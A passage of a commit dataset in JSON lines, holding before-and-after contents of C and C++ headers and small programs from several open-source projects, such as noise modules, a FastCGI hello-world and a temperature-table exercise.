/libgit2,sygool\/libgit2,t0xicCode\/libgit2,swisspol\/DEMO-libgit2,kissthink\/libgit2,stewid\/libgit2,iankronquist\/libgit2,magnus98\/TEST,mcanthony\/libgit2,sim0629\/libgit2,whoisj\/libgit2,chiayolin\/libgit2,oaastest\/libgit2,swisspol\/DEMO-libgit2,skabel\/manguse,t0xicCode\/libgit2,yosefhackmon\/libgit2,dleehr\/libgit2,stewid\/libgit2,claudelee\/libgit2,linquize\/libgit2,chiayolin\/libgit2,sim0629\/libgit2,sim0629\/libgit2,since2014\/libgit2,chiayolin\/libgit2,dleehr\/libgit2,leoyanggit\/libgit2,JIghtuse\/libgit2,oaastest\/libgit2,mhp\/libgit2,linquize\/libgit2,KTXSoftware\/libgit2,Tousiph\/Demo1,Tousiph\/Demo1,MrHacky\/libgit2,since2014\/libgit2,mcanthony\/libgit2,leoyanggit\/libgit2,dleehr\/libgit2,kissthink\/libgit2,stewid\/libgit2,Corillian\/libgit2,skabel\/manguse,kenprice\/libgit2,mhp\/libgit2,kissthink\/libgit2,joshtriplett\/libgit2,oaastest\/libgit2,mrksrm\/Mingijura,whoisj\/libgit2,skabel\/manguse,ardumont\/libgit2,sygool\/libgit2,Corillian\/libgit2,rcorre\/libgit2,mrksrm\/Mingijura,sygool\/libgit2,sygool\/libgit2,spraints\/libgit2,joshtriplett\/libgit2,mingyaaaa\/libgit2,jeffhostetler\/public_libgit2,Corillian\/libgit2,KTXSoftware\/libgit2,whoisj\/libgit2,jeffhostetler\/public_libgit2,t0xicCode\/libgit2,claudelee\/libgit2,claudelee\/libgit2,KTXSoftware\/libgit2,nokiddin\/libgit2,nokiddin\/libgit2,yongthecoder\/libgit2,ardumont\/libgit2,linquize\/libgit2,mcanthony\/libgit2,JIghtuse\/libgit2,joshtriplett\/libgit2,amyvmiwei\/libgit2,mingyaaaa\/libgit2,chiayolin\/libgit2,whoisj\/libgit2,kissthink\/libgit2,mingyaaaa\/libgit2,t0xicCode\/libgit2,nokiddin\/libgit2,amyvmiwei\/libgit2"}
{"commit":"b77f0a23e98d6e379ae66b494d0ccb15f434bac3","old_file":"libyaul\/scu\/bus\/cpu\/cpu.h","new_file":"libyaul\/scu\/bus\/cpu\/cpu.h","old_contents":"\/*\n * Copyright (c) 2012-2016 Israel Jacquez\n * See LICENSE for details.\n *\n * Israel Jacquez <mrkotfw@gmail.com>\n *\/\n\n#ifndef _CPU_H_\n#define _CPU_H_\n\n#include <cpu\/cache.h>\n#include <cpu\/divu.h>\n#include <cpu\/dmac.h>\n#include <cpu\/dual.h>\n#include <cpu\/endian.h>\n#include <cpu\/frt.h>\n#include <cpu\/instructions.h>\n#include <cpu\/intc.h>\n#include <cpu\/registers.h>\n#include <cpu\/sync.h>\n#include <cpu\/wdt.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif \/* __cplusplus *\/\n\nextern void cpu_init(void);\nextern void _slave_polling_entry(void);\nextern void _slave_ici_entry(void);\nextern void _exception_illegal_instruction(void);\nextern void _exception_illegal_slot(void);\nextern void _exception_cpu_address_error(void);\nextern void _exception_dma_address_error(void);\n\n#ifdef __cplusplus\n}\n#endif \/* __cplusplus *\/\n\n#endif \/* !_CPU_H_ *\/\n","new_contents":"\/*\n * Copyright (c) 2012-2016 Israel Jacquez\n * See LICENSE for details.\n *\n * Israel Jacquez <mrkotfw@gmail.com>\n *\/\n\n#ifndef _CPU_H_\n#define _CPU_H_\n\n#include <cpu\/cache.h>\n#include <cpu\/divu.h>\n#include <cpu\/dmac.h>\n#include <cpu\/dual.h>\n#include <cpu\/endian.h>\n#include <cpu\/frt.h>\n#include <cpu\/instructions.h>\n#include <cpu\/intc.h>\n#include <cpu\/registers.h>\n#include <cpu\/sync.h>\n#include <cpu\/wdt.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif \/* __cplusplus *\/\n\nextern void cpu_init(void);\n\n#ifdef __cplusplus\n}\n#endif \/* __cplusplus *\/\n\n#endif \/* !_CPU_H_ *\/\n","subject":"Remove prototypes for static methods","message":"Remove prototypes for static methods","lang":"C","license":"mit","repos":"ijacquez\/libyaul,ijacquez\/libyaul,ijacquez\/libyaul,ijacquez\/libyaul"}
{"commit":"98009edde9aee61ccfe582febd990d2bd409b48d","old_file":"Wangscape\/Exp.h","new_file":"Wangscape\/Exp.h","old_contents":"","new_contents":"#pragma once\n#include <noise\/noise.h>\n#include <cmath>\n\n\/\/ This is similar to noise::module::Exp.\n\/\/ However, no rescaling is performed,\n\/\/ and no attempt is made to guard against invalid operations.\n\/\/ Make sure the range of the source module\n\/\/ is compatible with the base of the exponential!\n\/\/ This module names its parameter \"base\" rather than \"exponent\",\n\/\/ because the formula is pow(base, source_value),\n\/\/ not pow(source_value, exponent).\nclass Exp : public noise::module::Module\n{\npublic:\n    double base;\n    Exp() :\n        Module(GetSourceModuleCount()),\n        mBase(2.)\n    {};\n    virtual int GetSourceModuleCount() const\n    {\n        return 1;\n    }\n\n    void SetBase(double base)\n    {\n        mBase = base;\n    }\n    double GetBase() const\n    {\n        return mBase;\n    }\n\n    virtual double GetValue(double x, double y, double z) const\n    {\n        return pow(mBase, GetSourceModule(0).GetValue(x,y,z));\n    };\nprotected:\n    double mBase;\n};\n\n\/\/ Noise module that raises a source module to an exponent.\n\/\/ No attempt is made to guard against invalid operations.\n\/\/ Make sure the range of the source module\n\/\/ is compatible with the exponent!\n\/\/ The formula is pow(source_value, exponent)\nclass Power : public noise::module::Module\n{\npublic:\n    double exponent;\n    Power() :\n        Module(GetSourceModuleCount()),\n        mExponent(2.)\n    {};\n    virtual int GetSourceModuleCount() const\n    {\n        return 1;\n    }\n\n    void SetExponent(double exponent)\n    {\n        mExponent = exponent;\n    }\n    double GetExponent() const\n    {\n        return mExponent;\n    }\n\n    virtual double GetValue(double x, double y, double z) const\n    {\n        return pow(GetSourceModule(0).GetValue(x, y, z), mExponent);\n    };\nprotected:\n    double mExponent;\n};\n\n","subject":"Make module^p and b^module modules","message":"Make module^p and b^module modules\n","lang":"C","license":"mit","repos":"Wangscape\/Wangscape,serin-delaunay\/Wangscape,Wangscape\/Wangscape,Wangscape\/Wangscape,serin-delaunay\/Wangscape"}
{"commit":"f8d99a9dcc3c5a7bfd67dd8ad6da687a9302c504","old_file":"api\/binding\/void_ptr.h","new_file":"api\/binding\/void_ptr.h","old_contents":"","new_contents":"\/*\n * Appcelerator Kroll - licensed under the Apache Public License 2\n * see LICENSE in the root folder for details on the license.\n * Copyright (c) 2009 Appcelerator, Inc. All Rights Reserved.\n *\/\n\n#ifndef _KR_VOID_PTR_OBJECT_H_\n#define _KR_VOID_PTR_OBJECT_H_\n\n#include \"..\/kroll.h\"\n\nnamespace kroll\n{\n\t\/**\n\t * An object that represents an arbitrary amount of binary data§\n\t *\/\n\tclass KROLL_API VoidPtr : public StaticBoundObject\n\t{\n\tpublic:\n\t\tVoidPtr(void* pointer) :\n\t\t\tStaticBoundObject(\"VoidPtr\"),\n\t\t\tpointer(pointer) {}\n\t\tvoid* GetPtr() { return pointer; }\n\n\tprivate:\n\t\tvoid* pointer;\n\t};\n}\n\n#endif\n","subject":"Add missing VoidPtr implementation from last commit.","message":"Add missing VoidPtr implementation from last commit.\n","lang":"C","license":"apache-2.0","repos":"mital\/kroll,mital\/kroll,mital\/kroll,mital\/kroll,appcelerator\/kroll,appcelerator\/kroll,appcelerator\/kroll"}
{"commit":"abd003aaf24b0f4e7d5d815e492282bca5ed70fb","old_file":"Nimble\/Nimble.h","new_file":"Nimble\/Nimble.h","old_contents":"#import <Foundation\/Foundation.h>\n#import <Nimble\/NMBExceptionCapture.h>\n#import <Nimble\/DSL.h>\n\nFOUNDATION_EXPORT double NimbleVersionNumber;\nFOUNDATION_EXPORT const unsigned char NimbleVersionString[];\n","new_contents":"#import <Foundation\/Foundation.h>\n#import \"NMBExceptionCapture.h\"\n#import \"DSL.h\"\n\nFOUNDATION_EXPORT double NimbleVersionNumber;\nFOUNDATION_EXPORT const unsigned char NimbleVersionString[];\n","subject":"Convert module-based imports to relative","message":"Convert module-based imports to relative\n","lang":"C","license":"apache-2.0","repos":"dgdosen\/Nimble,dgdosen\/Nimble,Quick\/Nimble,phatblat\/Nimble,AnthonyMDev\/Nimble,DanielAsher\/Nimble,ashfurrow\/Nimble,AnthonyMDev\/Nimble,abbeycode\/Nimble,phatblat\/Nimble,feinstruktur\/Nimble,ashfurrow\/Nimble,phatblat\/Nimble,ashfurrow\/Nimble,jeffh\/Nimble,twobitlabs\/Nimble,abbeycode\/Nimble,jeffh\/Nimble,DanielAsher\/Nimble,jeffh\/Nimble,dgdosen\/Nimble,Quick\/Nimble,DanielAsher\/Nimble,mishimay\/Nimble,jeffh\/Nimble,abbeycode\/Nimble,feinstruktur\/Nimble,abbeycode\/Nimble,AnthonyMDev\/Nimble,dgdosen\/Nimble,mishimay\/Nimble,mishimay\/Nimble,Quick\/Nimble,twobitlabs\/Nimble,twobitlabs\/Nimble,feinstruktur\/Nimble"}
{"commit":"8c55edb94221daa2b71ca122c959f9720128987d","old_file":"src\/world\/Server\/Packets\/SmsgWeather.h","new_file":"src\/world\/Server\/Packets\/SmsgWeather.h","old_contents":"\/*\nCopyright (c) 2014-2018 AscEmu Team <http:\/\/www.ascemu.org>\nThis file is released under the MIT license. See README-MIT for more information.\n*\/\n\n#pragma once\n#include <cstdint>\n\n#include \"ManagedPacket.h\"\n\nnamespace AscEmu { namespace Packets\n{\n    class SmsgWeather : public ManagedPacket\n    {\n#if VERSION_STRING != Cata\n    public:\n        uint32_t type;\n        float_t density;\n        uint32_t sound;\n\n        SmsgWeather() : SmsgWeather(0, 0, 0)\n        {\n        }\n\n        SmsgWeather(uint32_t type, float_t density, uint32_t sound) :\n            ManagedPacket(SMSG_WEATHER, 13),\n            type(type),\n            density(density),\n            sound(sound)\n        {\n        }\n\n    protected:\n        bool internalSerialise(WorldPacket& packet) override\n        {\n            packet << type << density << sound << uint8_t(0);\n            return true;\n        }\n\n        bool internalDeserialise(WorldPacket& packet) override { return false; }\n#endif\n    };\n}}\n","new_contents":"\/*\nCopyright (c) 2014-2018 AscEmu Team <http:\/\/www.ascemu.org>\nThis file is released under the MIT license. See README-MIT for more information.\n*\/\n\n#pragma once\n#include <cstdint>\n\n#include \"ManagedPacket.h\"\n\nnamespace AscEmu { namespace Packets\n{\n    class SmsgWeather : public ManagedPacket\n    {\n    public:\n        uint32_t type;\n        float_t density;\n        uint32_t sound;\n\n        SmsgWeather() : SmsgWeather(0, 0, 0)\n        {\n        }\n\n        SmsgWeather(uint32_t type, float_t density, uint32_t sound) :\n            ManagedPacket(SMSG_WEATHER, 13),\n            type(type),\n            density(density),\n            sound(sound)\n        {\n        }\n\n    protected:\n        bool internalSerialise(WorldPacket& packet) override\n        {\n            packet << type << density << sound << uint8_t(0);\n            return true;\n        }\n\n        bool internalDeserialise(WorldPacket& packet) override { return false; }\n    };\n}}\n","subject":"Enable serialise packet for Cata","message":"Enable serialise packet for Cata\n","lang":"C","license":"agpl-3.0","repos":"AscEmu\/AscEmu,master312\/AscEmu,Appled\/AscEmu,master312\/AscEmu,master312\/AscEmu,Appled\/AscEmu,Appled\/AscEmu,AscEmu\/AscEmu,AscEmu\/AscEmu,master312\/AscEmu,master312\/AscEmu,master312\/AscEmu"}
{"commit":"72c4accefc3d2ac122d650f696d04b189abc43be","old_file":"src\/xml\/ixmldeserializing.h","new_file":"src\/xml\/ixmldeserializing.h","old_contents":"#ifndef QTXXML_IXMLDESERIALIZING_H\n#define QTXXML_IXMLDESERIALIZING_H\n\n#include \"xmlglobal.h\"\n#include <QtCore>\n\nQTX_BEGIN_NAMESPACE\n\n\nclass IXmlDeserializing\n{\npublic:\n    virtual ~IXmlDeserializing() {};\n        \n    virtual IXmlDeserializing *deserializeXmlStartElement(XmlDeserializer *deserializer, const QStringRef & name, const QStringRef & namespaceUri, const QXmlStreamAttributes & attributes) = 0;\n    virtual void deserializeXmlEndElement(XmlDeserializer *deserializer, const QStringRef & name, const QStringRef & namespaceUri) = 0; \n    virtual void deserializeXmlAttributes(XmlDeserializer *deserializer, const QXmlStreamAttributes & attributes) = 0;\n    virtual void deserializeXmlCharacters(XmlDeserializer *deserializer, const QStringRef & text) = 0;\n};\n\n\nQTX_END_NAMESPACE\n\n#endif \/\/ QTXXML_IXMLDESERIALIZING_H\n","new_contents":"#ifndef QTXXML_IXMLDESERIALIZING_H\n#define QTXXML_IXMLDESERIALIZING_H\n\n#include \"xmlglobal.h\"\n#include <QtCore>\n\nQTX_BEGIN_NAMESPACE\n\n\nclass IXmlDeserializing\n{\npublic:\n    virtual ~IXmlDeserializing() {};\n        \n    virtual IXmlDeserializing *deserializeXmlStartElement(XmlDeserializer * deserializer, const QStringRef & name, const QStringRef & namespaceUri, const QXmlStreamAttributes & attributes)\n    {\n        Q_UNUSED(deserializer)\n        Q_UNUSED(name)\n        Q_UNUSED(namespaceUri)\n        Q_UNUSED(attributes)\n        return 0;\n    }\n    \n    virtual void deserializeXmlEndElement(XmlDeserializer *deserializer, const QStringRef & name, const QStringRef & namespaceUri)\n    {\n        Q_UNUSED(deserializer)\n        Q_UNUSED(name)\n        Q_UNUSED(namespaceUri)\n    } \n    \n    virtual void deserializeXmlAttributes(XmlDeserializer *deserializer, const QXmlStreamAttributes & attributes)\n    {\n        Q_UNUSED(deserializer)\n        Q_UNUSED(attributes)\n    }\n    \n    virtual void deserializeXmlCharacters(XmlDeserializer *deserializer, const QStringRef & text)\n    {\n        Q_UNUSED(deserializer)\n        Q_UNUSED(text)\n    }\n};\n\n\nQTX_END_NAMESPACE\n\n#endif \/\/ QTXXML_IXMLDESERIALIZING_H\n","subject":"Add default implementations of IXmlDeserializing methods.","message":"Add default implementations of IXmlDeserializing methods.\n","lang":"C","license":"apache-2.0","repos":"jaredhanson\/qtxxml,jaredhanson\/qtxxml"}
{"commit":"70cc0d04e55e04eb9c0abe0f6f5e0f2877a5ca99","old_file":"cgi\/fcgi_hello.c","new_file":"cgi\/fcgi_hello.c","old_contents":"","new_contents":"\/**\n * Copyright 2006 Mike Tsao. All rights reserved.\n *\n * Hello World using FastCGI and ClearSilver.\n *\/\n\n#include \"ClearSilver.h\"\n#include <string>\n#include <fcgi_stdio.h>\n#include <stdlib.h>\n#include <stdarg.h>\n#include <syslog.h>\n\nstatic bool quit = false;\n\nstatic int cs_printf(void *ctx, const char *s, va_list args) {\n  return printf(s, args);\n}\n\nstatic int cs_write(void *ctx, const char *s, int n) {\n  return fwrite(const_cast<char *>(s), n, 1, FCGI_stdout);\n}\n\nint main(int argc, char **argv, char **envp) {\n  openlog(argv[0], 0, LOG_USER);\n  syslog(LOG_INFO, \"%s started.\", argv[0]); \n\n  int hits = 0;\n  while (FCGI_Accept() >= 0) {\n    HDF *hdf = NULL;\n    CGI *cgi = NULL;\n\n    \/* Note that we aren't doing any error handling here, we really should. *\/\n    hdf_init(&hdf);\n\n    \/\/ Takes ownership of HDF.\n    cgi_init(&cgi, hdf);\n\n    hits++;\n\n    \/* Initialize the standard cgiwrap environment.  FastCGI already wraps some\n     * of the standard calls that cgiwrap wraps.  *\/\n    cgiwrap_init_std(argc, argv, environ);\n\n    \/* Then, we install our own wrappers for some cgiwrap calls that aren't\n     * already wrapped in the standard wrappers. *\/\n    cgiwrap_init_emu(NULL, NULL, cs_printf, cs_write, NULL, NULL, NULL);\n\n    hdf_read_file(cgi->hdf, \"common.hdf\");\n    hdf_read_file(cgi->hdf, \"hello_world.hdf\");\n\n    cgi_display(cgi, \"hello_world.cs\");\n\n    \/\/ This destroys HDF.\n    cgi_destroy(&cgi);\n  }\n  syslog(LOG_INFO, \"%s ending.\", argv[0]); \n  return 0;\n}\n","subject":"Add a very simple example which uses FastCGI, a stripped down version of one given by Mike Tsao.","message":"Add a very simple example which uses FastCGI, a stripped down\nversion of one given by Mike Tsao.","lang":"C","license":"bsd-2-clause","repos":"hljyunxi\/clearsilver,manuelluis\/clearsilver,alisonjoe\/clearsilver,WillYee\/clearsilver,hljyunxi\/clearsilver,hljyunxi\/clearsilver,apfeltee\/clearsilver,hobby\/clearsilver,manuelluis\/clearsilver,apfeltee\/clearsilver,alisonjoe\/clearsilver,hczhang\/clearsilver,manuelluis\/clearsilver,hongruiqi\/clearsilver,manuelluis\/clearsilver,hongruiqi\/clearsilver,WillYee\/clearsilver,hczhang\/clearsilver,hljyunxi\/clearsilver,hczhang\/clearsilver,apfeltee\/clearsilver,hczhang\/clearsilver,manuelluis\/clearsilver,WillYee\/clearsilver,hljyunxi\/clearsilver,alisonjoe\/clearsilver,WillYee\/clearsilver,hongruiqi\/clearsilver,manuelluis\/clearsilver,alisonjoe\/clearsilver,WillYee\/clearsilver,hobby\/clearsilver,hczhang\/clearsilver,hczhang\/clearsilver,hongruiqi\/clearsilver,alisonjoe\/clearsilver,apfeltee\/clearsilver,hobby\/clearsilver,manuelluis\/clearsilver,manuelluis\/clearsilver,apfeltee\/clearsilver,hongruiqi\/clearsilver,apfeltee\/clearsilver,hljyunxi\/clearsilver,hongruiqi\/clearsilver,apfeltee\/clearsilver,alisonjoe\/clearsilver,alisonjoe\/clearsilver,hczhang\/clearsilver,hobby\/clearsilver,hobby\/clearsilver,hljyunxi\/clearsilver,WillYee\/clearsilver,WillYee\/clearsilver,alisonjoe\/clearsilver,hobby\/clearsilver,apfeltee\/clearsilver,WillYee\/clearsilver,hobby\/clearsilver,hobby\/clearsilver,manuelluis\/clearsilver,hczhang\/clearsilver,hongruiqi\/clearsilver,hljyunxi\/clearsilver,hczhang\/clearsilver,hongruiqi\/clearsilver,apfeltee\/clearsilver,hongruiqi\/clearsilver,hljyunxi\/clearsilver,alisonjoe\/clearsilver,hobby\/clearsilver,WillYee\/clearsilver"}
{"commit":"fcd8f70a51147c0664e7a5e87fea0dbfa6c05247","old_file":"src\/ui\/UI.h","new_file":"src\/ui\/UI.h","old_contents":"#pragma once\n\/\/------------------------------------------------------------------------------\n\/**\n    @class UI\n    @brief imgui-based debugger UI\n*\/\n#include \"yakc\/KC85Oryol.h\"\n#include \"ui\/WindowBase.h\"\n#include \"ui\/FileLoader.h\"\n#include \"Time\/TimePoint.h\"\n#include \"Core\/Containers\/Array.h\"\n#include \"IMUI\/IMUI.h\"\n\nclass UI {\npublic:\n    \/\/\/ setup the UI\n    void Setup(yakc::kc85& kc);\n    \/\/\/ discard the UI\n    void Discard();\n    \/\/\/ do one frame\n    void OnFrame(yakc::kc85& kc);\n    \/\/\/ open a window\n    void OpenWindow(yakc::kc85& kc, const Oryol::Ptr<WindowBase>& window);\n    \/\/\/ toggle the UI on\/off\n    void Toggle();\n\n    static const ImVec4 ColorText;\n    static const ImVec4 ColorDetail;\n    static const ImVec4 ColorDetailBright;\n    static const ImVec4 ColorDetailDark;\n    static const ImVec4 ColorBackground;\n    static const ImVec4 ColorBackgroundLight;\n\n    struct settings {\n        bool crtEffect = true;\n        bool colorTV = true;\n        float crtWarp = 1.0f\/64.0f;\n        int cpuSpeed = 1;\n    } Settings;\n\nprivate:\n    FileLoader fileLoader;\n    Oryol::TimePoint curTime;\n    Oryol::Array<Oryol::Ptr<WindowBase>> windows;\n    bool uiEnabled = false;\n    bool helpOpen = true;\n};\n","new_contents":"#pragma once\n\/\/------------------------------------------------------------------------------\n\/**\n    @class UI\n    @brief imgui-based debugger UI\n*\/\n#include \"yakc\/KC85Oryol.h\"\n#include \"ui\/WindowBase.h\"\n#include \"ui\/FileLoader.h\"\n#include \"Time\/TimePoint.h\"\n#include \"Core\/Containers\/Array.h\"\n#include \"IMUI\/IMUI.h\"\n\nclass UI {\npublic:\n    \/\/\/ setup the UI\n    void Setup(yakc::kc85& kc);\n    \/\/\/ discard the UI\n    void Discard();\n    \/\/\/ do one frame\n    void OnFrame(yakc::kc85& kc);\n    \/\/\/ open a window\n    void OpenWindow(yakc::kc85& kc, const Oryol::Ptr<WindowBase>& window);\n    \/\/\/ toggle the UI on\/off\n    void Toggle();\n\n    static const ImVec4 ColorText;\n    static const ImVec4 ColorDetail;\n    static const ImVec4 ColorDetailBright;\n    static const ImVec4 ColorDetailDark;\n    static const ImVec4 ColorBackground;\n    static const ImVec4 ColorBackgroundLight;\n\n    struct settings {\n        bool crtEffect = false;\n        bool colorTV = true;\n        float crtWarp = 1.0f\/64.0f;\n        int cpuSpeed = 1;\n    } Settings;\n\nprivate:\n    FileLoader fileLoader;\n    Oryol::TimePoint curTime;\n    Oryol::Array<Oryol::Ptr<WindowBase>> windows;\n    bool uiEnabled = false;\n    bool helpOpen = true;\n};\n","subject":"Switch off CRT-effect off by default (until fixed)","message":"Switch off CRT-effect off by default (until fixed)\n","lang":"C","license":"mit","repos":"floooh\/yakc,floooh\/yakc,floooh\/yakc,floooh\/yakc,floooh\/yakc"}
{"commit":"23c59a06b001f447802f8a118203baca17ee2c5f","old_file":"c\/temperature.c","new_file":"c\/temperature.c","old_contents":"#include <stdio.h>\n\n\/\/ k&r farenheit to celcius table\n\nint main()\n{\n    int fahr, celsius;\n    int lower, upper, step;\n\n    lower = 0;\n    upper = 300;\n    step = 20;\n\n    fahr = lower;\n    while (fahr <= upper) {\n        celsius = 5 * (fahr - 32) \/ 9;\n        printf(\"%d\\t%d\\t\\n\", fahr, celsius);\n        fahr = fahr + step;\n    }\n\n    return 0;\n}\n","new_contents":"#include <stdio.h>\n\n\/\/ k&r farenheit to celcius table\n\nint main()\n{\n    float fahr, celsius;\n    int lower, upper, step;\n\n    lower = 0;\n    upper = 300;\n    step = 20;\n\n    \/\/ first print table header\n    printf(\"%s  %s\\n\", \"Fahr\", \"Cels\");\n\n    \/\/ then calculate values and print them to table\n    fahr = lower;\n    while (fahr <= upper) {\n        celsius = (5.0 \/ 9.0) * (fahr - 32);\n        printf(\"%3.0f %6.1f\\n\", fahr, celsius);\n        fahr = fahr + step;\n    }\n\n    return 0;\n}\n","subject":"Use floats instead of ints, print table header","message":"Use floats instead of ints, print table header\n","lang":"C","license":"mit","repos":"oldhill\/halloween,oldhill\/halloween,oldhill\/halloween,oldhill\/halloween"}
{"commit":"2c3df4946ce8356a67acdeec9f084d2967f83cd8","old_file":"native\/src\/main\/native\/traildb-java-static.h","new_file":"native\/src\/main\/native\/traildb-java-static.h","old_contents":"","new_contents":"\ntypedef struct TrailDBMultiTrailFields {\n\tlong timestamp;\n\tlong num_items;\n\tlong items;\n\tlong db;\n\tlong multi_cur;\n\tlong cursor_idx;\n} TrailDBMultiTrailFields;\n\ntypedef struct TrailDBTrailFields {\n\tlong timestamp;\n\tlong num_items;\n\tlong items;\n\tlong db;\n\tlong cur;\n} TrailDBTrailFields;\n","subject":"Add static header file for fiels struct","message":"Add static header file for fiels struct\n","lang":"C","license":"mit","repos":"aholyoke\/traildb-java,aholyoke\/traildb-java"}
{"commit":"e7bfdc05fa5ff3e35d8480d75d9e9061498875a1","old_file":"sdl2\/libretro\/libretro_params.h","new_file":"sdl2\/libretro\/libretro_params.h","old_contents":"#ifndef LRPARAMS_\n#define LRPARAMS_\n\n#include \"np2ver.h\"\n\n#define LR_SCREENWIDTH  640\n#define LR_SCREENHEIGHT 480\n#define LR_SCREENASPECT 4.0 \/ 3.0\n#define LR_SCREENFPS    56.4\n\n#define LR_SOUNDRATE    44100.0\n\/\/#define SNDSZ 735 \/\/44100Hz\/60fps=735 (sample\/flame)\n#define SNDSZ 782 \/\/44100Hz\/56.4fps=781.9 (sample\/flame)\n\n#define LR_CORENAME        \"Neko Project II\"\n#define LR_LIBVERSION      NP2VER_CORE\n#define LR_VALIDFILEEXT    \"d88|88d|d98|98d|fdi|xdf|hdm|dup|2hd|tfd|nfd|hd4|hd5|hd9|fdd|h01|hdb|ddb|dd6|dcp|dcu|flp|bin|fim|thd|nhd|hdi|vhd|sln\"\n#define LR_NEEDFILEPATH    true\n#define LR_BLOCKARCEXTRACT false\n#define LR_REQUIRESROM     false\n\n#endif\n","new_contents":"#ifndef LRPARAMS_\n#define LRPARAMS_\n\n#include \"np2ver.h\"\n\n#define LR_SCREENWIDTH  640\n#define LR_SCREENHEIGHT 480\n#define LR_SCREENASPECT 4.0 \/ 3.0\n#define LR_SCREENFPS    56.4\n\n#define LR_SOUNDRATE    44100.0\n\/\/#define SNDSZ 735 \/\/44100Hz\/60fps=735 (sample\/flame)\n#define SNDSZ 782 \/\/44100Hz\/56.4fps=781.9 (sample\/flame)\n\n#define LR_CORENAME        \"Neko Project II kai\"\n#define LR_LIBVERSION      NP2VER_CORE\n#define LR_VALIDFILEEXT    \"d88|88d|d98|98d|fdi|xdf|hdm|dup|2hd|tfd|nfd|hd4|hd5|hd9|fdd|h01|hdb|ddb|dd6|dcp|dcu|flp|bin|fim|thd|nhd|hdi|vhd|sln\"\n#define LR_NEEDFILEPATH    true\n#define LR_BLOCKARCEXTRACT false\n#define LR_REQUIRESROM     false\n\n#endif\n","subject":"Add 'kai' to core name","message":"Add 'kai' to core name\n","lang":"C","license":"mit","repos":"AZO234\/NP2kai,AZO234\/NP2kai,AZO234\/NP2kai,AZO234\/NP2kai"}
{"commit":"a293b49d5c09b0e54d3a75c9141d78d5ed990f02","old_file":"You-DataStore\/datastore.h","new_file":"You-DataStore\/datastore.h","old_contents":"#pragma once\n#ifndef YOU_DATASTORE_DATASTORE_H_\n#define YOU_DATASTORE_DATASTORE_H_\n\n#include <deque>\n#include <functional>\n#include \"boost\/variant.hpp\"\n#include \"task_typedefs.h\"\n#include \"internal\/operation.h\"\n#include \"transaction.h\"\n\nnamespace You {\nnamespace DataStore {\nnamespace UnitTests {}\n\nclass DataStore {\npublic:\n\tTransaction && begin();\n\n\t\/\/ Modifying methods\n\tbool post(TaskId, SerializedTask&);\n\tbool put(TaskId, SerializedTask&);\n\tbool erase(TaskId);\n\n\tstd::vector<SerializedTask> getAllTask();\n\nprivate:\n\tstatic DataStore& get();\n\tbool isServing = false;\n\tstd::deque<Internal::IOperation> operationsQueue;\n};\n}  \/\/ namespace DataStore\n}  \/\/ namespace You\n#endif  \/\/ YOU_DATASTORE_DATASTORE_H_\n","new_contents":"#pragma once\n#ifndef YOU_DATASTORE_DATASTORE_H_\n#define YOU_DATASTORE_DATASTORE_H_\n\n#include <deque>\n#include <functional>\n#include \"boost\/variant.hpp\"\n#include \"task_typedefs.h\"\n#include \"internal\/operation.h\"\n#include \"transaction.h\"\n\nnamespace You {\nnamespace DataStore {\nnamespace UnitTests { class DataStoreApiTest; }\n\nclass DataStore {\n\tfriend class UnitTests::DataStoreApiTest;\npublic:\n\tTransaction && begin();\n\n\t\/\/ Modifying methods\n\tbool post(TaskId, SerializedTask&);\n\tbool put(TaskId, SerializedTask&);\n\tbool erase(TaskId);\n\n\tstd::vector<SerializedTask> getAllTask();\n\nprivate:\n\tstatic DataStore& get();\n\tbool isServing = false;\n\tstd::deque<Internal::IOperation> operationsQueue;\n};\n}  \/\/ namespace DataStore\n}  \/\/ namespace You\n#endif  \/\/ YOU_DATASTORE_DATASTORE_H_\n","subject":"Add unit test class declaration and friend class it in DataStore","message":"Add unit test class declaration and friend class it in DataStore\n","lang":"C","license":"mit","repos":"cs2103aug2014-w10-1c\/main,cs2103aug2014-w10-1c\/main"}
{"commit":"8035865ed3eb0b6ef9842903887dc44d4d0e6310","old_file":"zLib\/Find.h","new_file":"zLib\/Find.h","old_contents":"\/*\n*  Copyright 2015 Samuel Ghineț\n*\n*  Licensed under the Apache License, Version 2.0 (the \"License\");\n*  you may not use this file except in compliance with the License.\n*  You may obtain a copy of the License at\n*\n*      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n*\n*  Unless required by applicable law or agreed to in writing, software\n*  distributed under the License is distributed on an \"AS IS\" BASIS,\n*  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n*  See the License for the specific language governing permissions and\n*  limitations under the License.\n*\/\n\n#pragma once\n\n#include <vector>\n#include <string>\n\n#include \"zLib.h\"\n\nnamespace Zen\n{\n    struct ZLIB_API ResultItem\n    {\n        \/* fullName: default value - a) if result = not found \/ invalid; b) if filter, means 'any' *\/\n        std::tstring fullName;\n    };\n\n    typedef std::vector<ResultItem> Results;\n\n    class ZLIB_API Find\n    {\n    public:\n        Find() : m_dirPath(T(\".\")) {}\n        explicit Find(const std::tstring& path) : m_dirPath(path) {}\n\n        Results operator()();\n\n    private:\n        std::tstring m_dirPath;\n    };\n}\n","new_contents":"\/*\n*  Copyright 2015 Samuel Ghineț\n*\n*  Licensed under the Apache License, Version 2.0 (the \"License\");\n*  you may not use this file except in compliance with the License.\n*  You may obtain a copy of the License at\n*\n*      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n*\n*  Unless required by applicable law or agreed to in writing, software\n*  distributed under the License is distributed on an \"AS IS\" BASIS,\n*  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n*  See the License for the specific language governing permissions and\n*  limitations under the License.\n*\/\n\n#pragma once\n\n#include <vector>\n#include <string>\n\n#include \"zLib.h\"\n\nnamespace Zen\n{\n    struct ZLIB_API ResultItem\n    {\n        \/* fullName: default value - a) if result = not found \/ invalid; b) if filter, means 'any' *\/\n        std::tstring fullName;\n    };\n\n    typedef std::vector<ResultItem> Results;\n\n    class ZLIB_API IFind\n    {\n    public:\n        virtual ~IFind() {}\n\n        virtual Results operator()() = 0;\n    };\n\n    class ZLIB_API Find : public IFind\n    {\n    public:\n        Find() : m_dirPath(T(\".\")) {}\n        explicit Find(const std::tstring& path) : m_dirPath(path) {}\n\n        Results operator()();\n\n    private:\n        std::tstring m_dirPath;\n    };\n}\n","subject":"Use a mock for class ZSearch","message":"Use a mock for class ZSearch\n\nZSearch now needs a ref to an interface, Zen::IFind&. The tests that check the functionality of ZSearch - ignoring of OS-specific issues - 